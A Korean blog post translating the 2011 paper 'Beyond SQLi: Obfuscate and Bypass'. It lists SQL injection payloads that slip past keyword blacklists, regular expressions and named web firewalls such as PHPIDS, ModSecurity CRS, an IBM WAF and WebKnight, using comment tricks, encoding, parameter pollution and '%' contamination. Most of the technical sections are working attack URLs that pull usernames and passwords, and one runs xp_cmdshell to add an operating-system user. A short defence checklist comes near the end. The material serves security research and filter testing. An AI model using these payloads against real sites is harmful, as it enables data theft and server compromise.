본문 바로가기

시스템/웹/포렌식 보안/웹 해킹/보안

Beyond SQLi: Obfuscate and Bypass 번역문서

1년여 전에 번역했던 문서입니다.. 번역이 좀 엉망ㅋㅋ 웹 해킹 이나 침해사고 대응이나 패턴 만드시는 분에게 도움이 되지 않을까 싶네요 ~

 

SQL Injection을 뛰어 넘어: 혼동과 우회

                     |=--------------------------------------------------------------------=|

                     |=--------------=[ SQL Injection을 뛰어 넘어: 혼동과 우회 ]=---------------=|

                     |=-------------------------=[ 2011 / 10 / 6 ]=-----------------------=|

                     |=----------------------=[  By CWH Underground  ]=--------------------=|

                     |=--------------------------------------------------------------------=|

######

 정보

######

Title: SQL Injection을 뛰어 넘어: 혼동과 우회

Author: "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan"

Team: CWH Underground [http://www.exploit-db.com/author/?a=1275]

Date: 2011-10-06

 

##########

 차례

##########

[0x00] - 소개

[0x01] - 탐지 우회 (Mysql)

[0x01a] – 키워드 탐지와 기능 우회

[0x01b] - 정규표현식 우회

[0x02] - 일반적인 우회 기술

[0x03] - 고급 우회 기술

[0x03a] - 웹 파라미터 변조: split join

[0x03b] - 웹 파라미터 변조

[0x04] - 어떻게 웹 사이트를 지킬 것인가

[0x05] - 결론

[0x06] - 참고문헌

[0x07] - 마치며

#######################

 [0x00] - 소개

#######################

 독자분들 환영 합니다. 이 문서는 우리가(CWH Underground) 오랜 시간 연구한 고급 SQL Injection에 대한 문서 입니다.

 이 문서는 CMS(웹 컨텐츠 관리 시스템) WAF(웹 방화벽)를 사용하는 많은 이들에게 고급 인증 우회 기술과 혼동기술을 공개 합니다. 이 문서의 목적은SQL Injection의 방어를 위한 몇 가지 방법을 제공하고자 함 입니다.

 공격자는 아직도 여러 다른 기술을 이용해 웹 서버를 공격 합니다. 하지만 우리는 불행히도 지금 당장 모든걸 알려 드리지는 못합니다. 이것은 아직 패치 되지 않은 취약점 이기 때문입니다. 그러나, 이 문서는 목적은 현실에서 웹 방화벽에 30십만 달러가 넘는 돈을 쓰지만, 보안 시스템이 완벽하지 않다는 것을 보여주기 위함 입니다.

이 문서는 7개의 섹션으로 나뉘고 0x01에서 0x03까지 만이 기술적인 정보를 포함하고 있습니다. 0x01섹션에서는, 기초적인 함수와 단어를 포함한 일반적인 차단 우회 기법에 대한 상세내용을 설명 합니다.

0x02섹션에서는, 오픈 소스와 상업 웹 방화벽에서의 고급 우회 기술의 정보를 제공 합니다.

0x03섹션에서는, 깊이 있는 고급 인증 기술에 대해 0x02섹션에 나눠서 "웹 파라미터 변조" "웹 파라미터 변조: split join"에 대해 이야기 합니다.

0x04섹션에서는, 여러분의 웹 사이트를 지키는 올바른 방법에 대한 내용을 제공 합니다.

마지막으로, 0x05섹션에서는, 0x01-0x04섹션에서의 결론을 요약 합니다.

#################################

 [0x01] - 탐지우회 (Mysql)

#################################

이 섹션에서는 PHP MySQL을 기반으로 한 웹 어플리케이션에서 탐지우회 행위와 어떻게 탐지를 우회 할지에 대해 설명 합니다. 탐지우회는 SQL Injection을 예방하는 기술 입니다. 이 기술은 SQL함수와 단어, 블랙리스트와 정규표현식을 이용 합니다.

 이 탐지우회는 블랙리스트 또는 정규표현식을 저장하는 것에 크게 의존하고 있다는 것을 의미 합니다. 블랙리스트 또는 정규 표현식이 모든 Injection시나리오를 포함하지 않는 경우, 웹 응용 프로그램은 여전이 SQL Injection공격에 취약 합니다

 

           +++++++++++++++++++++++++++++++++++++++++++++++++++

            [0x01a] - 우회 함수와 키워드 탐지

           +++++++++++++++++++++++++++++++++++++++++++++++++++

 함수와 키워드에 대한 블랙리스트 사용하는 웹 어플리케이션은 매칭되는 공격으로부터는 웹 서버를 보호 할 수 있습니다. 공격자가 블랙리스트에 있는 함수나 키워드를 Injection할 경우, Injection은 실패 합니다.

 그러나 공격자가 다른 키워드나 함수를 이용하여 Injection구문을 조작 할 수 있습니다. 이 경우에는 공격 탐지 및 차단이 실패 합니다. 공격을 막기 위해서는 수많은 키워드나 함수에 대한 블랙리스트가 필요하지만, 이것은 일반 사용자에게 영향을 줍니다.

 사용자가 블랙리스트에 포함된 단어를 입력할 경우 사용자는 블랙리스트에 의해 차단 되기 때문에 입력 값을 보낼 수 없습니다. 다음 시나리오는 함수와 키워드를 이용한 우회기술을 보여 줍니다.

                     탐지문자:  and, or

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or)/i', $id)

 

 이 키워드는 일반적으로 웹 어플리케이션 SQL Injection공격에 취약한지 여부를 확인 하기 위해 사용 합니다. and or을 각각 사용하는 대신에 &&, ||를 이용 합니다.

 

                     텀지 injection:    1 or 1 = 1                   1 and 1 = 1

                     우회되는 injection:         1 || 1 = 1                     1 && 1 = 1

                     ----------------------------------------------------------------------

                     탐지 문자:                   and, or, union

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union)/i', $id)

 위의 키워드의 조합은 일반적으로 데이터베이스에 추가적인 데이터를 선택하기 위해 악의적인 문장을 생성하는데 사용 합니다.

 

                     탐지되는 Injection: union select user, password from users

                     우회되는 Injection: 1 || (select user from users where user_id = 1) = 'admin'

 

**비고: 여러분은 테이블 이름, 열 이름과 테이블의 일부 데이터를 알고 있어야 하며, 그렇지 않으면 여러분은 information_schema.columns테이블에서 다른 정보를 얻어야 합니다.

예를 들어, substr()을 이용해 테이블 이름을 추출

                     ---------------------------------------------------------------------

                     탐지문자:  and, or, union, where

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union|where)/i', $id)

                     탐지되는 Injection:         1 || (select user from users where user_id = 1) = 'admin'

                      우회되는 Injection:         1 || (select user from users limit 1) = 'admin'

                     ----------------------------------------------------------------------

                    

                     탐지문자:  and, or, union, where, limit

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union|where|limit)/i', $id)

                     탐지되는 Injection:         1 || (select user from users limit 1) = 'admin'

                     우회되는 Injection:         1 || (select user from users group by user_id having user_id =

1) = 'admin'

                     ----------------------------------------------------------------------

 

                     탐지문자:  and, or, union, where, limit, group by

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union|where|limit|group by)/i', $id)

                     탐지되는 Injection:         1 || (select user from users group by user_id having user_id =

1) = 'admin'

                     우회되는 Injection:         1 || (select substr(gruop_concat(user_id),1,1) user from users )

= 1

                     ----------------------------------------------------------------------

                    

                     탐지문자:  and, or, union, where, limit, group by, select

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

                     탐지되는 Injection:         1 || (select substr(gruop_concat(user_id),1,1) user from users)

=1

                     우회되는 Injection:         1 || 1 = 1 into outfile 'result.txt'

                     우회되는 Injection:         1 || substr(user,1,1) = 'a'

                     ----------------------------------------------------------------------

 

                     탐지문자:  and, or, union, where, limit, group by, select, '

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

                     탐지되는 Injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

                      우회되는 Injection:         1 || user_id is not null

                     우회되는 Injection:         1 || substr(user,1,1) = 0x61

                     우회되는 Injection:         1 || substr(user,1,1) = unhex(61)

                     ----------------------------------------------------------------------

                     탐지문자:  and, or, union, where, limit, group by, select, ', hex

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

                     탐지되는 Injection:         1 || substr(user,1,1) = unhex(61)

                     우회되는 Injection:         1 || substr(user,1,1) = lower(conv(11,10,36))

                     ----------------------------------------------------------------------

 

                     탐지문자:  and, or, union, where, limit, group by, select, ', hex, substr

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i',

$id)

                     탐지되는 Injection:         1 || substr(user,1,1) = lower(conv(11,10,36))

                     우회되는 Injection:         1 || lpad(user,7,1)

                     ----------------------------------------------------------------------

 

                     탐지문자:  and, or, union, where, limit, group by, select, ', hex, substr, white space

                     ----------------------------------------------------------------------

                     PHP filter code:   preg_match('/(and|or|union|where|limit|group

by|select|\'|hex|substr|\s)/i', $id)

                     탐지되는 Injection:         1 || lpad(user,7,1)

                     우회되는 Injection:         1%0b||%0blpad(user,7,1)

                     ----------------------------------------------------------------------

 위의 예의 블랙리스트는 많은 키워드와 함수를 포함하고 있지만, 블랙리스트을 우회하는 SQL이 있다는 것을 볼 수 있습니다.

또한, 예제에 없는 우회 가능한 SQL문들도 굉장히 많습니다.

 방대한 양의 블랙리스트를 만드는 것은 웹 사이트를 보호 할 수 있는 좋은 생각이 아닙니다. 많은 수의 블랙리스트는 일반 사용자를 불편하게 만듭니다.

           +++++++++++++++++++++++++++++++++++++++++++++++

            [0x01b] – 정규표현식 우회

           +++++++++++++++++++++++++++++++++++++++++++++++

 정규표현식을 이용한 탐지는 SQL Injection공격을 막는 더 좋은 방법 입니다. 왜냐하면 이것은 정상사용자들이 더 많은 입력 값을 쉽게 사용할 수 있게 합니다.

 그러나 많은 정규표현식은 우회 될 수 있습니다. 다음 예제는 PHPIDS 0.6에서 정규표현식을 우회하는 데 사용되는 Injection Script 입니다.

 

PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols.

 

           [Code]---------------------------------------------------------------             

           탐지되는 Injection: 1 or 1 = 1

           우회되는 Injection: 1 or 1

           [End Code]-----------------------------------------------------------

 

           [Code]---------------------------------------------------------------             

           탐지되는 Injection: 1 union select 1, table_name from information_schema.tables where

table_name = 'users'

           탐지되는 Injection: 1 union select 1, table_name from information_schema.tables where

table_name between 'a' and 'z'

           탐지되는 Injection: 1 union select 1, table_name from information_schema.tables where

table_name between char(97) and char(122)

           우회되는 Injection: 1 union select 1, table_name from information_schema.tables where

table_name between 0x61 and 0x7a

           우회되는 Injection: 1 union select 1, table_name from information_schema.tables where

table_name like 0x7573657273

           [End Code]-----------------------------------------------------------

 

########################################

 [0x02] - 일반적인 우회 기술

########################################

 이 섹션에서는, 웹 방화벽을 우회하는 기술에 대한 설명을 할 것 입니다. 우선 여러분은 웹 방화벽에 대하 알고 있어야 합니다.

웹 방화벽(WAF) HTTP 규약에 적용되는 어플라이언스, 서버 또는 필터 입니다.

 일반적으로, 이러한 규칙은 당신의 사이트에 최적화 되어 크로스 사이트 스크립팅(XSS) SQL Injection과 같은 일반적인 공격을 다룹니다. 많은 공격이 식별되고 차단될 수 있습니다.

 환경에 맞는 설정은 어플리케이션을 수정함으로써 많은 노력과 유지가 필요 합니다. 웹 방화벽은 종종 "깊이 있는 패킷 검사 방화벽"이라고 불립니다. 왜냐하면 HTTP/HTTPS/SOAP/XML-RPC와 같은 웹 서비스 내의 모든 요청과 응답을 검사 합니다. 일부 현대적인 웹 방화벽 시스템은 시그니처 기반 공격 및 비 정상 행위 기반을 모두 탐지 합니다.

 지금 홍동기법을 이해해 봅시다. 모든 웹 방화벽들은 규칙이나 여러분의 상상력을 이용하여 우회할 수 있습니다.

 

          1. 코멘트를 이용한 우회

           SQL comments는 많은 탐지와 웹 방화벽을 우회할 수 있습니다.

          

                     [Code]---------------------------------------------------------------             

                     http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--

                     [End Code]-----------------------------------------------------------

 

           2. 사례 바꿈

           일부 웹 방화벽은 오직 소문자 SQL keyword만 탐지한다.

 

Regex Filter: /union\sselect/g

          

                     [Code]---------------------------------------------------------------             

                     http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

                     [End Code]-----------------------------------------------------------

 

           3. 대체 키워드들

           일부 응용 프로그램 및 WAFs는 모든 SQL 키워드를 제거하는 preg_replace 사용 합니다.

           그래서 우리는 쉽게 무시할 수 있습니다.

          

                     [Code]---------------------------------------------------------------             

                     http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

                     [End Code]-----------------------------------------------------------

 

                     일부 경우 SQL 키워드는 필터링과 공백으로 바뀌었습니다. 그래서 우리는 우회하려면

                     "%0b"사용할 있습니다.

 

                     [Code]---------------------------------------------------------------             

                     http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

                     [End Code]-----------------------------------------------------------

 

                     Mod_rewrite설정 시, 코멘트 "/ ** /"로 우회할 수 있습니다. 그래서 "%0b"대신 "/ ** /"

                     를 사용합니다.

 

                     Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html

                     Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

          

           4. 문자 인코딩

           대부분의 웹 방화벽은 입력 값을 디코딩 하지만 일부 웹 방화벽은 입력 값을 SQL문이 실행되는

           동안에 두 번 인코딩 한 후 디코딩 됩니다. 인코딩 된 값을 이용하여 필터를 우회 할 수 있습니다.

          

[Code]----------------------------------------------------------------------------------------------------------

http://victim.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users—

[End Code]-----------------------------------------------------------------------------------------------------

                                         

또한, 이 기술은 시트릭스 Netscaler를 우회 할 수 있습니다.

- 모든 "NULL"단어를 삭제

- 일부분에서 쿼리 인코딩을 사용

- 작은 따옴표 문자를 제거"'"

- 즐기세요!

제공: Wendel Guglielmetti Henrique

그리고 "Armorlogic Profense" 2.4.4버전 까지는 줄 바꿈 문자 인코딩을 이용해 우회

 

                     #실제 예시

                    

                     1. NukeSentinel (Nuke Evolution)

                    

                     [Nukesentinel.php Code]------------------------------------------------------------

                     // Check for UNION attack

                     // Copyright 2004(c) Raven PHP Scripts

                     $blocker_row = $blocker_array[1];

                     if($blocker_row['activate'] > 0) {

                      if (stristr($nsnst_const['query_string'],'+union+') OR \

                     stristr($nsnst_const['query_string'],'%20union%20') OR \

                     stristr($nsnst_const['query_string'],'*/union/*') OR \

                     stristr($nsnst_const['query_string'],' union ') OR \

                     stristr($nsnst_const['query_string_base64'],'+union+') OR \

                      stristr($nsnst_const['query_string_base64'],'%20union%20') OR \

                     stristr($nsnst_const['query_string_base64'],'*/union/*') OR \

                     stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);

                        die("BLOCK IP 1 " );

                       }

                     }

                     [End Code]-------------------------------------------------------------------------

 

                     아래 스크립트로 우회 가능 합니다.

                    

                     Forbidden: http://victim.com/php-nuke/?/**/union/**/select…..

                     Bypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select

                     Bypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect

 

                     2. Mod Security CRS (Credit: Johannes Dahse)

                    

                     [SecRule]--------------------------------------------------------------------------

                     SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* \bunion\b.{1,100}?\bselect

                     \b"\"phase2,rev:'2.2.1',capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,

                     t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,msg:'SQL Injection

                     Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:

                     'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%

                     {TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%

                     {tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},

                     setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

                     [End Rule]-------------------------------------------------------------------------

                     아래의 코드로 우회 가능

                     [Code]------------------------------------------------------------------------------

              http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect

              %23foo%0D%0A1%2C2%2Ccurrent_user

                     [End Code]--------------------------------------------------------------------------

 

                     이 공격으로, 우리는 Mod Security 규칙을 우회할 수 있습니다.

                     무슨 일이 일어나는지 보시죠

                    

                     MySQL Server 가 지원하는 3가지 코멘트 형태

                                - From a "#" 줄의 끝으로 문자

                                - From a "--" 줄의 끝으로 순서

                                - From a /*다음순서*/ 순서, C언어

                                 

이 구문은 시작과 종료 시퀀스를 각기 다른 줄에 코멘트를 남길 수 있습니다. 왜냐하면 시작과 종료 시퀀스는 같은 줄에 있을 필요가 없습니다.

다음 예제는, 줄 바꿈을 의미하는 "%0D%0A"사용 입니다. 자 이제 첫 번째 요청을 봅시다(DB사용자 추출을 위해) 그 결과 SQL페이로드는 다음과 같습니다.

 

                                0 div 1 union#foo*/*/bar

                                select#foo

                                1,2,current_user

                    

           However the SQL payload, when executed by the MySQL DB, looked something like this:

                                0 div 1 union select 1,2,current_user        

 

           5. 버퍼 오버플로우

           C로 작성된 웹 방화벽은 오버플로우가 일어나는 경향이 있습니다. 그 결과 예상치 못 한 행위들이나

           악의적인 코드들이 실행 됩니다.

          

                     [Code]------------------------------------------------------------------------------

                     http://victim.com/news.php?id=1+and+(select 1)=(select

0x414141414141441414141414114141414141414141414141414141

                     414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--

                     [End Code]--------------------------------------------------------------------------

          

           6. 인라인 코멘트(Mysql Only)

  MySQL 5.0 메뉴얼에 따르면, MySQL서버는 C-스타일의 주석의 일부 변형들을 지원 합니다.

이는 MySQL 확장 기능을 코딩 할 수 있지만, 다름의 코멘트를 폼을 이용함으로써 이식 가능 합니다.

 

                     /*! MySQL-specific code */

                     [Code]------------------------------------------------------------------------------

                     http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--

                     [End Code]--------------------------------------------------------------------------

                    

              이번 경우는 MySQL 서버의 분석과 실행 입니다. SQL서버는 확장을 무시합니다.

              많은 웹 방화벽은 union\select\igSQL키워드를 탐지 합니다. 인라인 코멘트를 사용하여 인증

              우회가 가능합니다.

          

                     [Code]------------------------------------------------------------------------------

                     http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+

                          FrOm/*!information_schema*/.tables

                     /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--

                     [End Code]--------------------------------------------------------------------------

 

########################################         

 [0x03] - 고급 우회기술

########################################

이번 섹션에서는, "웹 변조: split join" "웹 파라미터 변조"에 대한 기술을 보여 줍니다.

이 기술을 이용해서 많은 오픈소스 또는 상업 웹 방화벽을 우회할 수 있습니다.

    

           ++++++++++++++++++++++++++++++++++++++++++++++++++++

            [0x03a] - 웹 파라미터 변조: split join

           ++++++++++++++++++++++++++++++++++++++++++++++++++++

웹 변조는 Luca Carettoni and Stefano Di Paola에 의한 새로운 Injection 기법 입니다. 웹 파라미터

변조(HPP)는 매우 간단 합니다. 하지만 매우 효과적인 해킹 기법 입니다.

HPP공격은 HTTP GET/POST 메소드를 이용하여 Injection 쿼리 구문을 파라미터에 주입하는

방법으로 이루어 집니다.

            

 

           HPP공격 예제: "http://victim.com/search.aspx?par1=val1&par1=val2"

 

           웹 파라미터 취급: (예제)

           +------------------------------------------------------------------+

           | Web Server        | Parameter Interpretation        | Example            |

           +------------------------------------------------------------------+

           | ASP.NET/IIS        | Concatenation by comma       | par1=val1,val2  |

           | ASP/IIS   | Concatenation by comma       | par1=val1,val2  |

           | PHP/Apache       | The last param is resulting  | par1=val2    |

           | JSP/Tomcat        | The first param is resulting | par1=val1     |

           | Perl/Apache       | The first param is resulting | par1=val1     |

           | DBMan                       | Concatenation by two tildes  | par1=val1~~val2 |

           +------------------------------------------------------------------+

          

필터 적용 전의 SQL 쿼리에 구문분석은 어떻게 이루어 질까요?(HPP는 심지어 웹 방화벽을 우회할 수 있다) 좋지 않은 방화벽은 단지 하나의 파라미터 만을 분석할 수 있습니다.

ASP, ASP.NET, DBMan환경이 두 가지 이상 사슬관계에 있을 때 침해자는 악성 페이로드를 분해할 수 있습니다. 최근 침투 테스트에서 우리는 HPP Inline 코맨드를 사용하여 ASP/ASP.NET 환경의 웹 방화벽을 우회할 수 있었습니다. 이 기술은 다른 상업 방화벽 또한 우회 가능 합니다.         

 

           #실제 예:

 

           1. Mod Security CRS (Credit: Lavakumar Kuppan)

           다음 SQL Injection공격은 Mod Security CRS에 의해 차단 됩니다.

           Forbidden: http://victim.com/search.aspx?q=select name,password from users

 

           같은 페이로드가 같은 파라미터를 Split(분해)할 때 Mod_Security는 차단에 실패하게 됩니다.

           Bypassed : http://victim.com/search.aspx?q=select name&q=password from users

 

           자 이제 Mod_Security의 해석은 어떻게 이루어 지는지 보겠습니다.

                     q=select name

                     q=password from users

 

           ASP/ASP.NET's 의 해석은,

                     q=select name,password from users

 

                     *Tip: 이 공격은 POST로도 실행할 수 있습니다.

 

            2. 상업 웹 방화벽

             Forbidden: http://victim.com/search.aspx?q=select name,password from users

                           이제 우리는 HPP+Inline comment 를 이용해서 우회하도록 해보겠습니다.

             우회: http://victim.com/search.aspx?q=select/*&q=*/name&q=password

                    /*&q=*/from/*&q=*/users

 

           웹 방화벽 해석을 분석해 보겠습니다.

                     q=select/*

                     q=*/name

                     q=password/*

                     q=*/from/*

                     q=*/users

                    

           ASP/ASP.NET's 해석은,

                     q=select/*,*/name,password/*,*/from/*,*/users

                     q=select name,password from users

 

           3. IBM 웹 방화벽 (보증: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)

           Forbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul

UrWaFisShiT /add” --

 

           이제 우리는 HPP+Inline comment를 이용해서 우회하도록 해보겠습니다

           Bypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell

/*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ --

 

           웹 방화벽 해석을 분석해 보겠습니다.

                     id=1’; /*

                     id=1*/ EXEC /*

                     id=1*/ master..xp_cmdshell /*

                     id=1*/ “net user zeq3ul UrWaFisShiT” /*

                     id=1*/ --

                    

                     ASP/ASP.NET's 분석은,

                     id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT”

/*,1*/ --

                     id=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” --

                    

이 공격의 가장 쉬운 완화 방법은 하나의 HTTP요청의 파라미터에 여러 개의 인스턴스를 처리할 수 없도록 설정하는 것 입니다. 이것은 다양한 공격을 막을 수 있는 방법 입니다.

그러나 이 방법은 아마 일부 어플리케이션에서는 중복된 파라미터를 사용해야 하기 때문에 불가능한 방법일 수 있습니다. 그리고 웹 어플리케이션은 같은 이름의 같은 요청에 대해 중복으로 파라미터를 사용하도록 설계되었을 수도 있습니다. 이 어플리케이션을 보호하기 위해서는 웹 방화벽도 HTTP 요청을 웹 응용프로그램과 같은 방법으로 해석해야 합니다.

                    

           ++++++++++++++++++++++++++++++++++++++++

            [0x03b] – 웹 파라미터 변조

           ++++++++++++++++++++++++++++++++++++++++

웹 파라미터 오염(HPC)의 원래 생각은 웹 어플리케이션과 브라우저에서 쿼리 문자열 변조에 로 기대하지 않은 반응들에 대한 HPP연구에서 발견 된 깊이 있는 웹 서버의 구성에 대한 연구에서 비롯 됩니다.

          

           몇 가지 사실:

          - Query String이라는 용어는 일반적으로 "?" URI의 끝 사이의 값을 말합니다.

           - RFC 3986에 정의 된 바와 같습니다.

           - 쌍은 "&" 또는 ";" 로 나뉩니다.

           - RFC 2396은 문자의 두 클래스를 정의 합니다.

                     Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()

                     Reserved  : ; / ? : @ & = + $ ,

                     Unwise    : { } | \ ^ [ ] `

 

다른 종류의 웹 서버는 특별한 요청에 대해 다른 논리로 응답을 합니다. 많은 웹서버는 많은 내부 플랫폼과 특수 문자의 조합이 있습니다.

 

           Query string 과 웹 서버의 응답 (예시)

          

           +-----------------------------------------------------------+

           | Query String      |    Web Servers response / GET values    |

           +-----------------------------------------------------------+

           |                      | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP           |

           +-----------------------------------------------------------+

           | ?test[1=2          | test_1=2                     | test[1=2        |

           | ?test=%           | test=%                        | test=           |

           | ?test%00=1        | test=1                       | test=1          |

           | ?test=1%001      | NULL                | test=1          |

           | ?test+d=1+2      | test_d=1 2                    | test d=1 2   |

           +-----------------------------------------------------------+

          

           Magic character "%" ASP/ASP.NET에 주는 영향  

           +--------------------------------------------------------------------+

           |          Keywords     |        WAF                     |  ASP/ASP.NET     |

           +--------------------------------------------------------------------+

           | sele%ct * fr%om..  | sele%ct * fr%om..       | select * from..  |

           | ;dr%op ta%ble xxx  | ;dr%op ta%ble xxx     | ;drop table xxx  |

           | <scr%ipt>            | <scr%ipt>              | <script>            |

           | <if%rame>           | <if%rame>             | <iframe>         |

           +--------------------------------------------------------------------+

 

           #실제 예시:

           1. Mod_Security SQL Injection 규칙 우회 (modsecurity_crs_41_sql_injection_attacks.conf)

           [Filtered]----------------------------------------------------------------------------------

[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b" at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "110"] [id "959519"] [rev "2.2.0"] [msg      "Blind SQL Injection Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]

[End Code]------------------------------------------------------------------------------

           Forbidden: http://localhost/?xp_cmdshell

           Bypassed : http://localhost/?xp[cmdshell

 

2. URLScan 3.1 DenyQueryStringSequences 규칙 우회

Forbidden: http://localhost/test.asp?file=../bla.txt

Bypassed : http://localhost/test.asp?file=.%./bla.txt

 

3. AQTRONIX Webknight (WAF for IIS and ASP/ASP.Net)우회

Forbidden: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)

Bypassed: http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name  fr%om info%rmation_schema.tables)

 

이런 상황에서, Webknight "%"를 삽입하는 방식으로 오염된 웹 요청에 대해 탐지 할 때, 웹 방화벽은  "ID = 10 1 = 0 / (information_schema.tables 가장 위의TABLE_NAME을 선택) 코멘드가 우회되어 서버로 전송하게 됩니다. 왜냐하면 "%"가 웹 서버에서 잘리기 때문 입니다.  

이런 종류의 해킹 기법은 항상 흥미롭습니다. 왜냐하면 그들은 새로운 보안 문제의 가능성을 밝히기 때문 입니다. 많은 어플리케이션은 다양한 종류의 보안 취약점을 갖습니다. 왜냐하면 그들은 웹 서버의 이상반응을 전부 정의할 수 없기 때문 입니다.

HPC HPP공격의 연장선상 입니다. 패턴에 의해 차단되는 웹 방화벽이 있다면, QUERY_STRING "%"를 붙이는 방식으로 실제 파라미터 이름을 속여서 IIS/ASP 플랫폼을 우회 합니다.

 

######################################  

 [0x04] – 어떻게 당신의 웹 사이트를 지킬 것인가

######################################

- 소프트웨어 개발 수명주기(SDLC)

- 안전한 프로그래밍: 모든 입력 값과 출력 값 검증

- 서비스 이전의 침투 테스트

- 취약점 수정!!

- 재 침투 테스트

- 웹 방화벽 배포 (환경에 맞는 구축)

- 웹 방화벽 패치

 

#####################        

 [0x05] – 결론

#####################

- 웹 방화벽은 안전하지 만은 않다.

- 기능의 제한으로, 웹 방화벽은 모든 취약점으로부터 어플리케이션을 보호 할 수 없다.

- 웹 방화벽이 보호하는 특정 웹 응용프로그램에 대한 필터 적용 필요

- 웹 방화벽은 취약점을 제거하는 것이 아닙니다. 부분적으로 공격 벡터를 검사할 뿐 입니다.

 

#####################

 [0x06] – 참고문서

#####################

[1] WAF Bypass: SQL Injection - Kyle

[2] http://cwe.mitre.org/data/definitions/98.html

[3] HTTP Parameter Contamination - Ivan Markovic NSS

[4] Split and Join - Lavakumar Kuppan

[5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola

[6] blog.spiderlabs.com

 

####################

 [0x07] – 마치며

####################

Greetz       :  ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2

Special Thx :  Exploit-db.com

 

                                          ----------------------------------------------------

                     Our disclosure purpose isn't helping security products but need to reveal theirs shit.

                        Security Products not able to 100% protect from damn config/coding of admin.

                                            Just need a time and imagination for breach it !!

                                          ----------------------------------------------------

 

© Offensive Security 2011